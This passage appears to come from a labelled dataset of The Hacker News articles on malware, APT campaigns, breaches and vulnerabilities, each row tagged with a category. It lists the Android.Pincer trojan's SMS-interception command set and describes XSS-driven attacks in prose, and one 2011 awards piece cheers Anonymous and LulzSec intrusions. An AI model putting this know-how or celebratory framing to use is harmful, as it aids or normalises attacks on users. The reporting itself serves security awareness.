The malware, dubbed as Android.Pincer.2.origin, is the second form of the original Android.Pincer malware and is distributed as security certificates that the user must install.

Upon launching Android.Pincer.2.origin, the user will see a fake notification about the certificate's successful installation but after that, the Trojan will not perform any noticeable activities for a while.

Android.Pincer.2.origin connects to a server and send text messages in addition to the other information as the smartphone model, serial, IMEI and phone number and the Android version is used.

To malware then receive instructions from commands in the following format:
start_sms_forwarding [telephone number] - begin intercepting communications from a specified number
stop_sms_forwarding - stop intercepting messages
send_sms [phone number and text] - send a short message using the specified parameters
simple_execute_ussd - send a USSD message
stop_program - stop working
show_message - display a message on the screen of the mobile device
set_urls - change the address of the control server
ping - send an SMS containing the text 'pong' to a previously specified number
set_sms_number - change the number to which messages containing the text string 'pong' are sent.
The command start_sms_forwarding is of particular interest since it allows attackers to indicate the number from which the Trojan needs to intercept messages. This feature enables criminals to use the Trojan for targeted attacks and steal specific messages.

",Malware
Chinese Hackers Target Air-Gapped Networks in Southeast Asia,https://thehackernews.com/2015/04/a-state-sponsored-cyber-espionage-group.html,"A State-sponsored Cyber Espionage Group -- most likely linked to the Chinese government becomes the first group to target the so-called ""Air-Gapped Networks"" that aren't directly connected to the Internet.

What are Air-Gapped systems?

Air-gapped systems are known to be the most safest and secure systems on the earth. These systems are isolated from the Internet or any other Internet-connected computers or external networks.

Air-gapped systems are generally used in the critical situations that demand high security like in payment networks to process debit and credit card transactions, military networks, and in industrial control systems that operate critical infrastructure of the Nation.

Why Air-Gapped?

It is very difficult to siphon data from Air-Gapped systems because it requires a physical access to the target system or machine in order to do that and gaining physical access is possible only by using removable devices such as a firewire cable or a USB flash drive.

Now:

Since 2005, a Chinese Hacking Group has been spying dedicatedly on Governments, Companies & Journalists in Southeast Asia, India, & other countries, according to FireEye.

In a 69-page technical report, FireEye said the Chinese cyber espionage operations went undetected for the last ten years, conducted by a team of highly skilled hackers, dubbed APT30 (Advanced Persistent Threat).

Now here's the deal:

The APT30 Group is particularly interested in stealing information related to:
Regional Political
Disputed Territories
Military and Economic issues
Media Organizations and journalists
Political Developments in Southeast Asia and India
""APT30's attempts to compromise journalists and media outlets could also be used to punish outlets that do not provide favorable coverage – for example, both the New York Times and Bloomberg have had trouble securing visas for journalists in wake of unfavorable corruption reporting,"", the report said.
This isn't enough:

The group has reportedly developed a number of secret hacking tools and backdoors [MILKMAID, ORANGEADE Droppers, CREAMSICLE Downloader, BACKBEND, GEMCUTTER Downloaders] over the period of last ten years and infected victims using Phishing and Social Engineering attacks.

However, the Capability to infiltrating air gapped systems makes the APT30 hacking group more sophisticated in nature.

In order to hack into an air-gapped computer, the group tricked their victims into downloading malware on their home computers.
""APT30 uses three pieces of malware [SHIPSHAPE, SPACESHIP, FLASHFLOOD] that are believed to have been designed to propagate to removable drives with the intent of eventually infecting and stealing data from computers located on air-gapped networks.""
The Malware, designed with worm-like capabilities, can infect removable drives such as USB sticks and hard drives. Those devices can transfer the malware if later plugged into the secure networks.

TARGETED COUNTRIES
The countries primarily targeted were:
India
Malaysia
Vietnam
Thailand
South Korea
Nepal
Bhutan
Philippines
Singapore
Saudi Arabia
Indonesia
Japan
Brunei
Myanmar
Laos
Cambodia
The Government of China has consistently denied these claims, arguing ""cybercrime is a global problem.""

",Malware
U.S. Recovers $2.3 Million Ransom Paid to Colonial Pipeline Hackers,https://thehackernews.com/2021/06/us-recovers-23-million-ransom-paid-to.html,"In a major blow, the U.S. Department of Justice on Monday said it has recovered 63.7 bitcoins (currently valued at $2.3 million) paid by Colonial Pipeline to the DarkSide ransomware extortionists on May 8, pursuant to a seizure warrant that was authorized by the Northern District of California.
The ransomware attack also hobbled the pipeline company's fuel supply, prompting the government to issue an emergency declaration, even as the company shelled out a ransom amount of approximately 75 bitcoins ($4.4 million as of May 8) to regain access to its systems.
A week after the highly publicized incident, the ransomware-as-a-service syndicate disbanded with a May 14 farewell message to affiliates, stating that its internet servers and cryptocurrency stash were seized by unknown law enforcement entities. While DarkSide's announcement was perceived as an exit scam, the latest move from DoJ confirms earlier speculations of law enforcement involvement.
Stating that ""ransom payments are the fuel that propels the digital extortion engine,"" the DoJ said it followed the money trails left by the DarkSide gang to a specific bitcoin address by reviewing the Bitcoin public ledger, to which the proceeds of the ransom payment were transferred, ultimately using the ""private key"" the FBI had in its possession to access crypto assets stored in the wallet in question.
""There is no place beyond the reach of the FBI to conceal illicit funds that will prevent us from imposing risk and consequences upon malicious cyber actors,"" said FBI Deputy Director Paul Abbate. ""We will continue to use all of our available resources and leverage our domestic and international partnerships to disrupt ransomware attacks and protect our private sector partners and the American public.""
It's not immediately clear how the intelligence agency came to have the private key, but DarkSide had previously claimed to have lost access to one of their payment servers.
Blockchain analytics firm Elliptic, which had identified the bitcoin transaction representing the Colonial Pipeline ransom payment, said the seized bitcoins represent 85% of the total ransom amount which is typically reserved for affiliates, with the rest going to the DarkSide developers. The Bitcoin address was emptied at around 1:40 p.m. ET on Monday, Dr. Tom Robinson, Elliptic's co-founder and chief scientist, said.
If anything, the seizure marks a first-of-its-kind orchestrated effort led by the DoJ's newly formed Ransomware and Digital Extortion Task Force to confiscate a cybercriminal cartel's illicit profits by breaking into its bitcoin wallet using its private key likely stored in the seized servers, as implied in the warrant.
""Holding cyber criminals accountable and disrupting the ecosystem that allows them to operate is the best way to deter and defend against future attacks of this nature,"" Colonial Pipeline CEO Joseph Blount said in the statement. ""The private sector also has an equally important role to play and we must continue to take cyber threats seriously and invest accordingly to harden our defenses.""

",Cyber_Attack
Warning: Beware of Post-Election Phishing Emails Targeting NGOs and Think Tanks,https://thehackernews.com/2016/11/election-trump-phishing-malware.html,"Just a few hours after Donald Trump won the 2016 US Presidential Election, a hacking group launched a wave of cyber attacks targeting U.S.-based policy think-tanks with a new spear phishing campaign designed to fool victims into installing malware.

The group of nation-state hackers, also known as Cozy Bear, APT29, and CozyDuke, is the one of those involved in the recent data breach of the Democratic National Committee (DNC) and is allegedly tied to the Russian government.

On Wednesday, the hackers sent a series of phishing emails to dozens of targets associated with non-governmental organizations (NGOs), policy think tanks in the US and even inside the US government, said security firm Volexity.

Phishing Attacks Powered by 'PowerDuke' Malware
The phishing emails were sent from purpose-built Gmail accounts and other compromised email accounts at Harvard University's Faculty of Arts and Sciences (FAS), trying to trick victims into opening tainted attachments containing malware and clicking on malicious links.

Once this was done, the phishing e-mail dropped a new variant of Backdoor malware, dubbed ""PowerDuke,"" giving attackers remote access to the compromised systems.

PowerDuke is an extremely sophisticated piece of malware in both its way of infecting people as well as concealing its presence.

Besides making use of wide variety of approaches, PowerDuke uses steganography to hide its backdoor code in PNG files.

The firm spotted and reported at least five waves of phishing attacks targeting people who work for organizations, including Radio Free Europe/Radio Liberty, the RAND Corporation, the Atlantic Council, and the State Department, among others.
""Three of the five attack waves contained links to download files from domains that the attackers appear to have control over,"" the firm said in a blog post. ""The other two attacks contained documents with malicious macros embedded within them. Each of these different attack waves was slightly different from one another.""

Beware of Post-Election Themed Phishing Emails
All the phishing emails were election-themed. Why?

After Trump won the US presidential election, half of America, as well as people across the world, mourning the result was curious to know about the victory of Trump.

People even started searching on Google: How did Donald Trump win the US presidential election?, Were the election flawed? Why did Hillary Clinton lose?

Hackers took advantage of this curiosity to target victims, especially those who worked with the United States government and were much more concerned about Trump's victory.

Two of the emails claimed to have come from the Clinton Foundation giving insight of the elections, two others purported to be documents pertaining to the election's outcome being revised or rigged, and the last one offered a link to a PDF download on 'Why American Elections Are Flawed.'

The emails were sent using the real email address of a professor at Harvard, which indicates that the hackers likely hacked the professor's email and then used his account to send out the phishing emails.

The emails either contained malicious links to .ZIP files or included malicious Windows shortcut files linked to a ""clean"" Rich Text Format document and a PowerShell script.

Once clicked, the script installed PowerDuke on a victim's computer that could allow attackers to examine and control the target system. The malware has the capability to secretly download additional malicious files and evade detection from antivirus products.

Security firm CrowdStrike claimed in June 2016 that the hacking team Cozy Bear has previously hacked into networks belonging to the White House, State Department, and the United States Joint Chiefs of Staff.

",Cyber_Attack
Legacy Native Malware in Angry Birds Space to pwn your Android !,https://thehackernews.com/2012/04/legacy-native-malware-in-angry-birds.html,"Legacy Native Malware in Angry Birds Space to pwn your Android

A new malware threatens phones and tablets running Google's OS by hiding inside a copy of the popular game. Researchers at the mobile security firm Lookout identified the reworked malware as Legacy Native (LeNa), which poses as a legitimate app to gain unauthorized privileges on Android phones.

Under the appearance of a legitimate application, LeNa tricked users into allowing it access to information. ""By employing an exploit, this new variant of LeNa does not depend on user interaction to gain root access to a device. This extends its impact to users of devices not patched against this vulnerability (versions prior to 2.3.4 that do not otherwise have a back-ported patch),"" Lookout said in a blog post.

In March, another Trojan appeared pretending to be legitimate Chinese game, The Roar of the Pharaoh. The malicious app appeared on the Google Play store, stealing users' data and money by sending SMS messages to premium-rate numbers without the owner's knowledge.

One binary exploits the GingerBreak vulnerability to drop and launch the second, an updated version of LeNa. This payload communicates with a remote Command and Control server and accepts instructions to install additional packages and push URLs to be displayed in the browser.

The malware connects to remote servers in order to send sensitive phone information and to install malicious software on the infected handset. The new LeNa seems like a fully functional copy of popular apps, like ""Angry Birds Space,"" and, according to Lookout, ""hides its malicious payload in the string of code at the end of an otherwise genuine JPEG file.""

Well ! Before you download any app, check the permissions it requests, if you're uncomfortable with the amount of access to your phone an app wants, don't download it. For now, Android users who are only downloading apps from Google Play (Android Market) are safe. The new version of LeNa has been spotted on third-party Chinese app websites.

",Malware
Flame spy virus going to Suicide,https://thehackernews.com/2012/06/flame-spy-virus-going-to-suicide.html,"Flame spy virus going to Suicide

The creators of the world's most complicated espionage virus Flame have sent a 'suicide' command that removes it from some infected computers. U.S. computer security researchers said on Sunday that the Flame computer virus, which struck at least 600 specific computer systems in Iran, Syria, Lebanon, Egypt, Sudan, Saudi Arabia and the Palestinian Authority, has gotten orders to vanish, leaving no trace.

The 20-megabyte piece of malware already had a self-destruct module known as SUICIDE that removed all files and folders associated with Flame, but the purging command observed by Symantec researchers instead relied on a file called browse23.ocx that did much the same thing. According to Symantec, the 'suicide' command was ""designed to completely remove Flame from the compromised computer,"" the BBC reports.

Computers infected with Flame, including honeypots, have been routinely contacting its C&C servers to check for new commands. When the C&C servers still owned by Flame's authors recently sent out a self-destruct code, Symantec detected the command immediately.

Flame was designed to suck information from computer networks and relay what it learned back to those controlling the virus. It can record keystrokes, capture screen images, and eavesdrop using microphones built into computers.

Bots have long contained such self-destruct mechanisms, so it's not surprising that malware as complex and comprehensive as Flame would, too.

",Malware
Experian South Africa Suffers Data Breach Affecting Millions; Attacker Identified,https://thehackernews.com/2020/08/experian-data-breach-attack.html,"The South African arm of one of the world's largest credit check companies Experian yesterday announced a data breach incident that exposed personal information of millions of its customers.

While Experian itself didn't mention the number of affect customers, in a report, the South African Banking Risk Information Centre—an anti-fraud and banking non-profit organization who worked with Experian to investigate the breach—disclosed that the attacker had reportedly stolen data of 24 million South Africans and 793,749 business entities.

Notably, according to the company, the suspected attacker behind this breach had already been identified, and the stolen data of its customers had successfully been deleted from his/her computing devices.

""We have identified the suspect and confirm that Experian South Africa was successful in obtaining and executing an Anton Piller order which resulted in the individual's hardware being impounded and the misappropriated data being secured and deleted.""

Experian South Africa has already reported the breach to law enforcement and the appropriate regulatory authorities.

The company claims there is no evidence indicating whether the stolen data includes consumers' credit or financial information or used for fraudulent purposes before authorities had it deleted.

""Our investigations also show that the suspect had intended to use the data to create marketing leads to offer insurance and credit-related services.""

""The compromise of personal information can create opportunities for criminals to impersonate you but does not guarantee access to your banking profile or accounts. However, criminals can use this information to trick you into disclosing your confidential banking details,"" says SABRIC CEO, Nischal Mewalall.


Besides releasing this information, SAFPS also recommended that credit reporting agency customers should immediately apply for a free Protective Registration listing with Southern Africa Fraud Prevention Service that has been designed to alert users when their identity is compromised.

You can also regularly check your credit report for free here.
",Data_Breaches
Hackers Exploit VPN to Deploy SUPERNOVA malware on SolarWinds Orion,https://thehackernews.com/2021/04/hackers-exploit-vpn-flaw-to-deploy.html,"The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has disclosed details of a new advanced persistent threat (APT) that's leveraging the Supernova backdoor to compromise SolarWinds Orion installations after gaining access to the network through a connection to a Pulse Secure VPN device.
""The threat actor connected to the entity's network via a Pulse Secure virtual private network (VPN) appliance, moved laterally to its SolarWinds Orion server, installed malware referred to by security researchers as SUPERNOVA (a .NET web shell), and collected credentials,"" the agency said on Thursday.
CISA said it identified the threat actor during an incident response engagement at an unnamed organization and found that the attacker had access to the enterprise's network for nearly a year through the use of the VPN credentials between March 2020 and February 2021.
Interestingly, the adversary is said to have used valid accounts that had multi-factor authentication (MFA) enabled, rather than an exploit for a vulnerability, to connect to the VPN, thus allowing them to masquerade as legitimate teleworking employees of the affected entity.
In December 2020, Microsoft disclosed that a second espionage group may have been abusing the IT infrastructure provider's Orion software to drop a persistent backdoor called Supernova on target systems. The intrusions have since been attributed to a China-linked threat actor called Spiral.
Unlike Sunburst and other pieces of malware that have been connected to the SolarWinds compromise, Supernova is a .NET web shell implemented by modifying an ""app_web_logoimagehandler.ashx.b6031896.dll"" module of the SolarWinds Orion application. The modifications were made possible by leveraging an authentication bypass vulnerability in the Orion API tracked as CVE-2020-10148, in turn permitting a remote attacker to execute unauthenticated API commands.
An investigation into the incident is ongoing. In the meantime, CISA is recommending organizations to implement MFA for privileged accounts, enable firewalls to filter unsolicited connection requests, enforce strong password policies, and secure Remote Desktop Protocol (RDP) and other remote access solutions.

",Malware
ZeuS Botnet Updating Infected Systems with Rootkit-Equipped Trojan,https://thehackernews.com/2014/04/zeus-banking-trojan-botnet-rootkit-malware.html,"ZeuS, or Zbot is one of the oldest families of financial malware, it is a Trojan horse capable to carry out various malicious and criminal tasks and is often used to steal banking information. It is distributed to a wide audience, primarily through infected web pages, spam campaigns and drive-by downloads.

Earlier this month, Comodo AV labs identified a dangerous variant of ZeuS Banking Trojan which is signed by stolen Digital Certificate belonging to Microsoft Developer to avoid detection from Web browsers and anti-virus systems.

FREE! FREE! ZeuS BRINGS ROOTKIT UPDATE
Recently, the security researcher, Kan Chen at Fortinet has found that P2P Zeus botnet is updating its bots/infected systems with updates version that has the capability to drop a rootkit into infected systems and hides the trojan to prevent the removal of malicious files and registry entries.

The new variant also double check for the earlier installed version (0x38) of ZeuS trojan on the infected system and then replaces it with updated binary files (0X3B version).

""Every P2P Zeus binary would extract the version number from the update packet and compare the version number that is hardcoded in its body"" to verify the success of update process.
According to researchers, there is only a minimal change in the new variant of P2P Zeus as the new binary also drops a rootkit driver file into the %SYSTEM32%\drivers folder, apart from its original functions. New Zeus Trojan equipped with rootkit feature makes it more sophisticated and increases the difficulty of removing Zeus from infected systems.

HOW TO PROTECT YOURSELF FROM ZeuS TROJAN
We recommend users to use common sense and think twice before giving a click to any link on their e-mails or at any other websites they visit.
Trustworthy companies don't send attachments unless you have requested specific documents. So, always use caution if you receive any email from an unknown contact with attachments that you haven't requested and do not bother to open it.
Install a best Internet Security Tool and Configure the firewall to maximize the security of your computer system.

",Malware
DarkBot Malware Circulation very fast via Skype,https://thehackernews.com/2012/10/darkbot-malware-circulation-very-fast.html,"Two weeks back we reported that Security firm Trend Micro discovered a worm targeting Skype users with spam messages designed to infect machines with the Dorkbot ransomware has been discovered. This malware is spreading through a question/ phrase sent to the users by someone and the question is: ""lol is this your new profile pic?""

Yesterday Security researchers from Avast have intercepted a currently spreading Darkbot malware campaign, that's affecting millions of Skype users. According to him,"" It targets all the major Web browsers, and is also capable of distributing related malware such as Ransomware/LockScreen, as well as steal accounting data for major social networking services such as Facebook, Twitter, as well as related services such as GoDaddy, PayPal and Netflix.""

Some of the infected PCs install the malware known as ransomeware which locks your PC and ask you to pay $200 dollars within 48 hours to retrieve your files.
""If you click on the link, your infected computer becomes part of a botnet, or a network of computers controlled by hackers to execute DDoS (distributed denial of service) attacks. A DDoS attack causes the site or service to be temporarily unavailable by flooding the targeted website with traffic until the site's servers are overloaded.""

Initially only 2 of the present 44 antivirus engines identified the threat, but currently the number has increased to 27, which is still quite low. However, it also indicates that about 1 Million users must have clicked o the links and greeted infection on the links.
Users are advised to ensure that they're running the latest version of their third-party software, browser plugins, ensure that the URL they're about to click on hasn't already been flagged as malicious, and take advantage of application sandboxing techniques to avoid direct exploitation of their host.

",Malware
The Hacker News Hacking Awards : Best of Year 2011,https://thehackernews.com/2012/01/hacker-news-hacking-awards-best-of-year.html,"The Hacker News Hacking Awards : Best of Year 2011

2011 has been labeled the ""Year of the Hack"" or ""Epic #Fail 2011"". Hacking has become much easier over the years, which is why 2011 had a lot of hacking for good and for bad. Hackers are coming up with tools as well as finding new methods for hacking faster then companies can increase their security. Every year there are always forward advancements in the tools and programs that can be used by the hackers.

At the end of year 2011 we decided to give ""The Hacker News Awards 2011"". The Hacker News Awards will be an annual awards ceremony celebrating the achievements and failures of security researchers and the Hacking community. The THN Award is judged by a panel of respected security researchers and Editors at The Hacker News.

Year 2011 came to an end following Operation Payback and Antisec, which targeted companies refusing to accept payments to WikiLeak's, such as, Visa and Amazon. Those attacks were carried out by Anonymous & Lulzsec. This year corporations, international agencies, and governments are now experiencing a flood of what is called Advanced Persistent Threats. APTs refer to a group of well-funded, highly capable hackers pursuing a specific agenda, often organized by a nation or State. Sony somehow pissed off the hacking group LulzSec, which downloaded information for millions of users, while posting to Sony's system: ""LulzSec was here you sexy bastards! Stupid Sony, so very stupid.""

The Hacker News Awards Categories & Winners
1.) Person of the Year : Julian Paul Assange


He is, of course, the lean, tall, and pale 39-year-old Australian master hacker at the white-hot center of the whistle-blowing website WikiLeaks and, after revealing thousands of secret Afghan battlefield reports this week, the subject of investigation by U.S. authorities. 2011 could also be called the ""Age of WikiLeaks"". Assange described himself in a private conversation as ""the heart and soul of this organisation, its founder, philosopher, spokesperson, original coder, organizer, financier, and all the rest"". Wikileaks celebrate its 5th Birthday on 4th October 2011, for being only 5 years old they have done a remarkable and outstanding job of serving the people. The one thing most governments in the world have left off their agenda's. Keep up the good work Wikileaks and we stand in support and behind you.

2.) Best Hacking Group of the Year 2011 : ANONYMOUS

DECK THE HALLS AND BATTON DOWN THE SECURITY SYSTEMS…..THEY AIN'T GOIN AWAY!
Anonymous hackers have gained world wide attention because of their hacktivism. Anonymous is not an organization. Anonymous has no leaders, no gurus, no ideologists. Anonymous has performed many operations like Attack on HBGary Federal, 2011 Bank of America document release, Operation Sony, Operation Anti-Security and lots more. Complete Coverage on all Anonymous related news is here.

3.) Best Whitehat hacker of the Year 2011 : CHARLIE MILLER

CHARLIE SHOWS TUNA ISN'T THE ONLY THING TO PROFIT FROM!
Charlie Miller is a former hacker who has become an information security consultant now working with the Department of Defense (DOD) and helping out with cyber security. He spent five years working for the National Security Agency. Miller demonstrated his hacks publicly on products manufactured by Apple. In 2008 he won a $10,000 cash prize at the hacker conference Pwn2Own in Vancouver Canada for being the first to find a critical bug in the ultrathin MacBook Air. The next year, he won $5,000 for cracking Safari. In 2009 he also demonstrated an SMS processing vulnerability that allowed for complete compromise of the Apple iPhone and denial-of-service attacks on other phones. In 2011 he found a security hole in an iPhone's or iPad's security. Charlie Miller gets a kick of out defeating Apple's security mechanisms, using his hacking skills to break into Macbooks and iPhones.

4.) Best Leak of the year 2011 : HBGARY FEDERAL EMAILS LEAKED BY ANONYMOUS

GEE GREG, YOU THOUGHT WE JUST PLAYED WITH MATEL COMPUTERS! NOT!!!!!
HBGary Federal who was helping the federal government track down cyber activists was itself hacked by the very same activists! Gotta love these guys. Through an elegant but by the numbers social engineering effort those fun fellas at Anonymous, hacked and publicly shamed poor little HBGary Federal. Massive reputation damage and tons of turn-over in executive leadership resulted. Anonymous released 27,000 emails from the server of Greg Hoglund, chief executive of the software security firm HBGary. They posted 50,000 emails of Aaron Barr from the CEO of its sister organization, HBGary Federal. They obtained the emails by hacking into Hoglund's email.

5.) Best Defacement of the Year 2011 : DNS HIJACKING OF HIGH PROFILE SITES BY TURKGUVENLIGI

TURKGUVENLIGI……..THE GIFT THAT KEEPS ON GIVING!!
Turkguvenligi also known by the name ""TG Hacker' hacked some very high profile sites using DNS Hijacking. Sites included, Theregister.co.uk , Vodafone, Telegraph, Acer, National Geographic. He diverted visitors to a page declaring it was ""World Hackers Day"". TurkGuvenligi has claimed credit for dozens of similar defacement attacks since late 2008.

6.) Craziest Hack of the year: INMOTION HOSTING (Over 700,000 Websites Hacked)

BEWARE OF TIGER'S IN MOTION…….COMING TO YOUR WEBSITE SOON!
InMotion's data center got hit by the hacker that calls himself TiGER-M@TE, leaving a few hundred thousand website owners with nonfunctional pages and 700,000 web Pages defaced . He is also the one responsible for the attack carried out on Google Bangladesh. In our humble opinion, this is the craziest hack of the year.

7.) Malware of Year 2011 : DuQu

ALAH CAN'T HELP IRAN…….NOT WITH DuQu ON THE LOOSE!
This year was really hot on malware discovery and analysis. DuQu became the first known network modular rootkit. DuQu has flexibility for hackers to help remove and add new features quickly and without special effort. Some experts have doubts on relation between the Stuxnet and DuQu creators as they both aim for stealing and collecting data related to Iranian agencies activities.

8.) Best Hacking Tool of the Year 2011 - ANTI (Android Network Toolkit)

HEY CYBER WORLD, STICK THIS IN YOUR TOOL BELT!
ANTI is the smallest but most powerful hacking tool developed by the company Zimperium. Anti-Android Network Toolkit is an app that uses WiFi scanning tools to scan networks. You can scan a network that you have the phone connected to or you can scan any other nearby open networks. Security admins can use Anti to test network host vulnerabilities for DoS attacks and other threats. Features : OS detection, traceroute, port connect, Wi-Fi monitor, HTTP server, man-in-the-middle threats, remote exploits, Password Cracker and DoS attack and plugins.

9.) High Profile Hacker of the Year 2011 : LULZSEC

LULZSEC KEEPS US LAUGHING ALL THROUGH 2011!
Lulz Security, commonly abbreviated as LulzSec, is a computer hacker group that claims responsibility for several high profile attacks, including the compromise of user accounts from Sony Pictures in 2011. The group also claimed responsibility for taking the CIA website offline. It has gained attention due to its high profile targets and the sarcastic messages it has posted in the aftermath of its attacks. The group's first recorded attack was against Fox.com's website. LulzSec does not appear to hack for financial profit. The group's claimed main motivation is to have fun by causing mayhem. They do things ""for the lulz"" and focus on the possible comedic and entertainment value of attacking targets.

10.) Biggest Victim of the Year 2011 : SONY

SONY SHINES AS THE BIGGEST VICTIM OF ALL!
Sony gets the Most Epic fail award so we want to give the Best Victim of the year award to Sony. Almost all Sony's websites including Indonesia, Japan, Thailand, Greece, Canada, Netherlands, Europe, Russia, Portugal & Sony PlayStation Network were Hacked. Defacement of various domains of Sony and Personal information of 77 million people, including customer names, addresses, e-mail addresses, birthdays, PlayStation Network and Qriocity passwords, user names, online handles and possibly credit cards were exposed. Sony expects the hack of the PlayStation Network and cost at ¥14 billion (US$170 million) .

11.) Most Spamy Social Network : FACEBOOK

FACEBOOK OUTTA FACE IT……..IT'S A RIPE TARGET FOR 2012
Social network sites such as Facebook, Google+ or Twitter are gaining popularity. But the 'Web 2.0' presents new dangers. The wave of pornographic and violent images, Spam messages, Virus and various Worms that flooded Facebook over the past year, make it the Most Spamy Social Network of the Year. Social media is the new frontier for all of this spam. The attack tricked users into clicking on a story they thought would bring them a related video or picture. Instead, Facebook members were taken to websites that attacked their browsers with malicious software and posted violent and disturbing images to their news feeds.

12.) Most Vulnerable Mobile OS of Year 2011 : ANDROIDS

MALWARE GETS A FREE RIDE ON MOBILE DEVICES!
Mobile devices are seeing a record number of Malware attacks, with Androids leading the way as the mobile operating systems are the most likely to be targeted. Android's vulnerability to malicious content including third-party apps, SMS Trojan viruses and unexpected bugs distributed through free Wi-Fi connections has risen by 45% in 2011. This year we have seen record-breaking numbers of Malware, especially on mobile devices, where the uptake is in direct correlation to popularity.

13.) Best Hacking Book of the Year: BACKTRACK 5 WIRELESS PENETRATION TESTING

ATTENTION CLASS, VIVEK RAMACHANDRAN HAS ENTERED THE ROOM!
Vivek Ramachandran is a world renowned security researcher and evangelist, who is well known for his discovery of the Wireless Caffe Latte attack, and author of the most amazing book ""BackTrack 5 Wireless Penetration Testing. This book is written completely from a practical perspective. The book wastes no time in delving into a hands-on session with wireless networking. All the way through there are lots of screengrabs, so you can see what should be happening on your screen.

14.) Most Innovative Hack : DIGITAL CERTIFICATES SPOOFING BY COMODO HACKER

COMODOHACKER BRINGS OUT THE DRAGON IN CYBER SECURITY CONCERNS
The name ""Comodohacker"" gets the most Innovative Hacker award from THN for the breach of the Internet's trust system arising from an outmoded method for assuring that a Web site is authentic. A breach that let a hacker spoof digital certificates for Google.com, Yahoo.com, and other Web sites is prompting browser makers to rethink security. A 21-year-old Iranian patriot took credit saying he was protesting US policy and retaliating against the US for its alleged involvement with last year's Stuxnet, which experts say was designed to target Iran's nuclear program.


15.) Biggest hack of the Year 2011 : SONY PLAYSTATION

SONY, SONY, WE PLAY YOUR LEAKS ON OUR OWN STATIONS!
The PlayStation Network is an online multiplayer gaming and digital media delivery service owned and run by Sony Computer Entertainment .On April 26, 2011 Sony Playstation announced its network and Qriocity had both been compromised by hackers between April 17 and April 19 allowing access to 70 million user accounts. Get full coverage on this News.
""TRUTH IS THE MOST POWERFUL WEAPON AGAINST INJUSTICE""
For additional information, please contact us at: thehackernews@gmail.com

",Vulnerability
Microsoft remotely deleted Tor-based 'Sefnit Botnet' from more than 2 Million Systems,https://thehackernews.com/2014/01/microsoft-remotely-deleted-tor-browser.html,"In October 2013, Microsoft adopted a silent, offensive method to tackle infection due to a Tor-based botnet malware called 'Sefnit'.
In an effort to takedown of the Sefnit botnet to protect windows users, Microsoft remotely removes the older versions of installed Tor Browser software and infection from 2 Million systems, even without the knowledge of the system's owner.

Last year in August, after Snowden revelations about the National Security Agency's (NSA) Spying programs, the Internet users were under fear of being spied. During the same time Tor Project leaders noticed almost 600% increase in the number of users over the anonymizing networks of Tor i.e. More than 600,000 users join Tor within few weeks.

In September, researchers identified the major reason of increased Tor users i.e. A Tor-based botnet called 'Sefnit malware', which was infecting millions of computers for click fraud and bitcoin mining.

To achieve the maximum number of infections, cyber criminals were using several ways to spread their botnet. On later investigation, Microsoft discovered some popular softwares like Browser Protector and FileScout, bundled with vulnerable version of Tor Browser & Sefnit components.
'The security problem lies in the fact that during a Sefnit component infection, the Tor client service is also silently installed in the background. Even after Sefnit is removed, unless specific care is taken, the Tor service will be left and still regularly connect to the Tor Network.'
It was not practically possible for Microsoft or the Government to instruct each individual on 'How to remove this Malware', so finally Microsoft took the decision of remotely washing out the infections themselves.

To clean infected machines, Microsoft began updating definitions for its antimalware apps.
""We modified our signatures to remove the Sefnit-added Tor client service. Signature and remediation are included in all Microsoft security software, including Microsoft Security Essentials, Windows Defender on Windows 8, Microsoft Safety Scanner, Microsoft System Center Endpoint Protection, and Windows Defender Offline."" and later also in Malicious Software Removal Tool.
But why Tor Browser?
""Even after Sefnit is removed, unless specific care is taken, the Tor service will be left and still regularly connect to the Tor Network. This is a problem not only for the workload it applies to the Tor Network, but also for the security of these computers."" Microsoft says.
So they removed it and to Justify their action, Microsoft points out several vulnerabilities in the Tor version bundled with Sefnit malware i.e. Tor version 0.2.3.25, that opens the user to attack through these known vulnerabilities.
""Tor is a good application used to anonymous traffic and usually poses no threat. Unfortunately, the version installed by Sefnit is v0.2.3.25 – and does not self-update. The latest Tor release builds at the time of writing is v0.2.4.20.""
May be this is the right way to neutralize the infections, but the Microsoft's action also clarifies the capability to remotely remove any software from your computer.

Nicholas J. Hopper from University of Minnesota, provided a detailed explanation about 'Protecting Tor from botnet abuse in the long term' in a paper.

",Vulnerability
Hacking Virtual Reality – Researchers Exploit Popular Bigscreen VR App,https://thehackernews.com/2019/02/bigscreen-vr-hacking.html,"A team of cybersecurity researchers from the University of New Haven yesterday released a video demonstrating how vulnerabilities that most programmers often underestimate could have allowed hackers to evade privacy and security of your virtual reality experience as well as the real world.

According to the researchers—Ibrahim Baggili, Peter Casey and Martin Vondráček—the underlying vulnerabilities, technical details of which are not yet publicly available but shared exclusively with The Hacker News, resided in a popular virtual reality (VR) application called Bigscreen and the Unity game development platform, on which Bigscreen is built.

Bigscreen is a popular VR application that describes itself as a ""virtual living room,"" enabling friends to hang out together in virtual world, watch movies in a virtual cinema, chat in the lobby, make private rooms, collaborate on projects together, share their computer screens or control in a virtual environment and more.

Scary Things Hackers Can Do to Your VR Experience

As shown in the video, the flaws in Bigscreen app literally allowed researchers to remotely hijack Bigscreen's web infrastructure (that runs behind its desktop application) and perform multiple attack scenarios through a custom-designed command-and-control server, including:

discover private rooms,
join any VR room, including private rooms,
eavesdrop on users while remaining invisible in any VR room,
view VR users' computer screens in real-time,
stealthily receive victim's screen sharing, audio, and microphone audio,
send messages on the user's behalf,
remove/ban users from a room
setup a self-replicating worm that could spread across the Bigscreen community,
and many more.

What's even more Worrisome? Besides this, a different vulnerability in the Unity Engine Scripting API that researchers exploited in combination with the Bigscreen flaw, allowed them to even take complete control over VR users' computers by secretly downloading and installing malware or running malicious commands without requiring any further interaction.

Bigscreen VR App and Unity Engine Vulnerabilities

According to the in-depth technical details shared with The Hacker News, multiple Bigscreen flaws in question are persistent/stored cross-site scripting (XSS) issues that reside in the input fields where VR users are supposed to submit their username, room name, room description, room category in the Bigscreen app.
Since the vulnerable input boxes were not sanitized, attackers could have leveraged the flaw to inject and execute malicious JavaScript code on the application installed by other users connecting to the Bigscreen lobby and VR rooms.

""The payload script will be executed upon the browser-based player entering a room affecting all members of the room. This attack vector allows for the modification/invocation of any variable/function within the scope of the Window,"" researchers told The Hacker News.

""In summary, the ability to execute JavaScript on the victim's machine allows for many other attacks such as phishing pop-ups, forged messages, and forced desktop sharing.""
""We observed a lack of authentication when handling private room joining and communications with the Bigscreen signaling server. As a result, several potential vulnerabilities arise, to include denial of service, manipulation of public rooms, brute force attacks, and server resource exhaustion.""

